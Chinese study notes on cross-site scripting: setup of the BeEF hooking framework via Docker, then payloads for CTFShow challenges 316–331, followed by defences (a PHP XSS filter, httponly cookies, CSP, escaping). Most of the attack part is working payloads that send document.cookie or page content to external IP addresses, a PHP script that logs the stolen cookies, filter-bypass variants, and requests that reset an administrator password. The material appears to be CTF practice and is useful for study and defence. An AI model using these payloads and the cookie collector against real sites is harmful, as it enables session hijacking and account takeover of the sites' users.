docker 安装beef

首先,必须有docker环境作为支撑,然后:

# docker安装
docker pull janes/beef
# docker运行beef
docker run --rm -p 3000:3000 janes/beef

# 访问方法
# 插入js,让目标客户端进行访问,实现客户机在我方服务器上线
<script src="http://你的IP地址:3000/hook.js"></script>
# 我方访问服务器的办法
http://你的IP地址:3000//ui/panel
账密:beef beef

跨站实战:CTFShow-316~331

绕过:各种过滤的解决办法

316-反射型-直接远程调用

因为是比赛环境,服务器充当管理员,不用担心没管理者访问的问题
在实际的生产场景当中必须把东西发送给生产的管理者并且被点击,才能生效。

下面是一个简单的指向地址,需要在服务器自己准备一个接收文件,还是和上次那样,准备个接收即可。
<script>window.location.href='http://47.94.236.117/get.php?c='+document.cookie</script>
<script>window.location.href='http://8.217.203.31/get.php?c='+document.cookie</script>

get.php
<?php
$c = $_GET['c'];
$myfile = fopen('cookie.txt' ,"w+");
fwrite($myfile,$c);
fclose($myfile);
?>

317-反射型-过滤<script>

<img src=1 onerror=window.location.href='http://47.94.236.117/get.php?c='+document.cookie;>

318 319-反射型-过滤<img>

js标签被过滤,事件部分被过滤
触发事件:最好选择不需要任何条件就能触发的事件
<input onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
svg好用点
<svg onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">

320-326-反射型-过滤空格

<svg/onload="window.location.href='http://8.217.203.31/get.php?c='+document.cookie;">

xss保险的写法:使用斜杠“/”代替空格,事件为不需要任何条件就能触发的事件

327-存储型-无过滤★★★

把发送的内容存储到数据库,访问信件内容时,内容会以跨站语句来执行。(存储型应用的地方)

<script>window.location.href='http://8.217.203.31/get.php?c='+document.cookie</script>

328-存储型-注册插入JS★★★

cookie是实时变化的,所以说拿到cookie时要随时使用。
坑:BP抓包时要抓两次,不然拿到了cookie值却仅仅替换了一个数据包,就无法拿到用户名密码的明文信息(管理员视角)

整体的过关方法:
1.观察页面显示,页面对普通用户不进行明文显示
2.如果想要看到明文账密,必须拿到管理员的cookie
3.使用下面的js作为密码,在该网址进行注册
4.注册完成后,在后台观察,得到临时的cookie
5.使用普通账户登录,转到展示用户账密的页面,刷新并且进行抓包,替换掉两次cookie,即可获得明文展示的账密
其实只换掉最后一个cookie也是可以的(理论可行)
<script>window.location.href='http://47.94.236.117/get.php?c='+document.cookie</script>

329-存储型-失效凭据需1步完成所需操作★★★

失效时间极其短,发过去就失效了。也就是刚获取cookie就失效了。(cookie存活期极短)

换个思路:失效前获取当前页面源代码。

<!-- 
学JS对xss有大用。
这是基于cookie没什么用处,但是想要其它特定值的时候。
-->

<!-- js触发代码并且把源代码当中的ctfshow发送到指定服务器 -->
<script>
// 类名 遍历元素 元素索引 当前元素值
$('.laytable-cell-1-0-1').each(function(index,value){
// 检测当前元素是不是包含ctfshow关键字
if(value.innerHTML.indexOf('ctf'+'show')>-1){
// 包含关键字,将关键字发送出去
window.location.href='http://8.217.203.31/get.php?c='+value.innerHTML;
}
});
</script>

330-存储型-借助修改密码重置管理员密码(GET)

通过访问一个地址即可修改密码。

因为管理员是本地登录,所以网址使用本地地址。

思路:使得管理员访问某个页面时直接重置当前用户密码

<!-- 
这里的注点和之前有点不一样,注册时在用户名和密码处都尝试下面的代码进行修改。
修改成功后,能使用123123的密码进行登录,并且跳转到用户管理得到flag
这里唯一需要注意的点是要使用BP拦截网页,这样子才能在一瞬间保证把flag拦截下来
-->
<script>window.location.href='http://127.0.0.1/api/change.php?p=123123';</script>

<!-- 这是保险的触发方法. -->
<script src="window.location.href='http://127.0.0.1/api/change.php?p=123123';"></script>

331-存储型-借助修改密码重置管理员密码(POST)

修改密码操作从get变为了POST数据包
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

XSS修复-过滤函数&http_only&CSP&长度限制★★★

过滤一些危险字符,以及转义& < > “ ‘ 等危险字符

自定义过滤函数引用

//自定义过滤函数,过滤掉标签
function remove_xss($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
https://www.php.cn/php-ask-457831.html
php.ini设置或代码引用 => 开启后无法获取cookie,要么没用要么残缺
session.cookie_httponly =1
ini_set("session.cookie_httponly", 1);
// beef能破开这个获取到cookie。
//设置当前cookie
//setcookie('mycookie','xiaodi');

设置CSP(Content Security Policy)

//只允许加载本地源图片:开启后,就不能加载外链的图片了
CSP安全策略:
https://blog.csdn.net/a1766855068/article/details/89370320
header("Content-Security-Policy:img-src 'self' ");

输入内容长度限制,实体转义等

尖括号转义为html可显示代码
PHP 中的转义函数:

htmlspecialchars():将特殊字符转换为 HTML 实体,以防止跨站脚本攻击(XSS)。
strip_tags():从字符串中删除 HTML 和 PHP 标签。

JavaScript 中的转义函数:

encodeURIComponent():对 URI 组件进行编码,将特殊字符转换为 UTF-8 编码的字符。
innerText 或 textContent 属性:在 DOM 中获取或设置元素的纯文本内容,而不会解析其中的 HTML 标签。

对应的攻击手段:全局还 是局部(钻空子)